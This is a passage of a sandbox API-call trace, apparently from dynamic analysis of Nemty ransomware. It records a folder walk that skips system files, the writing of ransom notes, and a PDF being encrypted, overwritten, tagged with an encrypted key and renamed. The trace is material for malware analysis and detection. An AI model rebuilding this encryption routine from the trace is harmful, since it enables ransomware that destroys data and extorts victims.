(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.587] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340430 | out: hHeap=0x4f90000) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.587] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24040d90, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24040d90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24040d90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0188.587] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0188.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.587] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="HRV", cAlternateFileName="")) returned 1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2=".") returned 1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2="..") returned 1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2="...") returned 1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2="windows") returned -1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2="$RECYCLE.BIN") returned 1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2="rsa") returned -1 [0188.587] lstrcmpiW (lpString1="HRV", lpString2="NTDETECT.COM") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="ntldr") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="MSDOS.SYS") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="IO.SYS") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="boot.ini") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="boot.ini") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="AUTOEXEC.BAT") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="ntuser.dat") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="desktop.ini") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="CONFIG.SYS") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="RECYCLER") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="BOOTSECT.BAK") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="bootmgr") returned 1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="programdata") returned -1 [0188.588] lstrcmpiW (lpString1="HRV", lpString2="appdata") returned 1 [0188.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HRV", lpUsedDefaultChar=0x0) returned 3 [0188.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0188.588] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="HRV", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HRV", lpUsedDefaultChar=0x0) returned 3 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0188.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0188.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0188.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0188.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0188.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0188.591] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.591] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0188.592] CloseHandle (hObject=0x2f0) returned 1 [0188.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0188.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.592] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.592] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0188.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.592] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0188.593] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.593] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.593] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0188.594] CloseHandle (hObject=0x2f0) returned 1 [0188.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0188.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0188.594] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x240d9310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x240d9310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0188.594] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0188.594] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x240d9310, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x240d9310, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0188.594] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0188.594] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0188.594] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21a02, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0188.594] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0188.594] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0188.594] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0188.594] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0188.594] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.594] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0188.595] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0188.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0188.595] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0188.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.595] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.596] Sleep (dwMilliseconds=0x5) [0188.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x240ff470, dwHighDateTime=0x1d561e8)) [0188.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x240ff470, dwHighDateTime=0x1d561e8)) [0188.602] GetLastError () returned 0xb7 [0188.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.602] GetLastError () returned 0xb7 [0188.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.602] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.602] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.602] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.602] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="n+1EhGm9I5X2lZ5ULyri2JV8WMxBivr/1hB2aJ7m03gx4v5mKtDhN+zb6xY7gW80\r\nN3yJGhNEO54Vely563EMkX5TZtScs9SGBUNgJploMR7D4artdlFXBjr5UvmtZREX\r\na5dBsDwvmxUKEB5yqNrMrG5LhT6NKZFninZdbVx7+b/HiJ8S4TZJAJlMtQSFmngq\r\nftM8K5H/bQtgmiUGt8WVKZf050XWpIZGW5SN4gE3yw4MkxMElRwW52f2s+XXoQU8\r\nb0hd5ZSBlvugQOzMpFf/COoAf+5Uy4bmjVOgyb3+7yDt03cXFzb66LdVTLUTnD2P\r\n7UjG/CyD2FB60hDRgyy9Bw==\r\n", pcchString=0x653df5c) returned 1 [0188.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.602] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.602] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.603] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.603] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.604] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=137730) returned 1 [0188.604] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0188.604] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.604] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0188.612] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.612] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0188.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.613] SetFilePointer (in: hFile=0x320, lDistanceToMove=137730, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x21a02 [0188.613] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.613] CloseHandle (hObject=0x320) returned 1 [0188.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.613] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.613] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.613] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.613] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Dynamic.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\dynamic.pdf._nemty_kgobjgd_")) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 